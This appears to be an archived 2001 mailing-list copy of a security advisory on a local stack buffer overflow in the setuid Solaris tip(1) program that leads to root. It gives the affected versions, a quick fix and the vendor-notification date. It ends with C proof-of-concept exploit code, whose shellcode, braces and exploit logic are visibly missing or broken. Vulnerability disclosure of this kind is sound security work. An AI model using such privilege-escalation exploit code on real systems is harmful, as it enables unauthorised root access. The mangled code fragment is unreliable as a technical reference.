Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
From: Pablo Sor (psorAFIP.GOV.AR)
Date: Tue Mar 27 2001 - 05:54:42 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Vulnerability in Solaris tip(1)

    Date Published: March 27, 2001

    Advisory ID: N/A

    Bugtraq ID: N/A

    CVE CAN: Non currently assigned.

    Title: Solaris tip(1) Buffer Overflow Vulnerability

    Class: Boundary Error Condition

    Remotely Exploitable: No

    Locally Exploitable: Yes

    Vulnerability Description:

    The tip program is installed setuid uucp by default in Solaris,
    it contains a vulnerability in handling data from enviroment variables,
    if this variable exceeds predefined lenght an exploitable stack overflow

    can occur.
    Through exploiting this vulnerability an attacker can gain effective
    uid uucp and through that root.

    Vulnerable Packages/Systems:

    Solaris 8
    Solaris 7
    Solaris 2.6
    Solaris 2.5.1
    Solaris 2.5

    Quick Fix:

    Clear the suid bit of /usr/bin/tip program.

    Solution/Vendor :

    Sun Microsystems was notified on March 16, 2001. Patches are excepted

    Vendor notified on:

    March 16, 2001


    This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.

    Special thanks to Dave Ahmed from SecurityFocus.

    This advisory was drafted with the help of the SecurityFocus.com
    Help Team. For more information or assistance drafting advisories please

    Technical Description - Exploit/Concept Code:

    #include <fcntl.h>

       /usr/bin/tip overflow proof of conecpt.

       Pablo Sor, Buenos Aires, Argentina 03/2001

       works against x86 solaris 7,8

       default offset should work.


    long get_esp() { __asm__("movl %esp,%eax"); }

    int main(int ac, char **av)

    char shell[]=



      unsigned long magic = get_esp() + 0x50; /* default offset */
      unsigned char buf[600];


      system("/usr/bin/tip 5");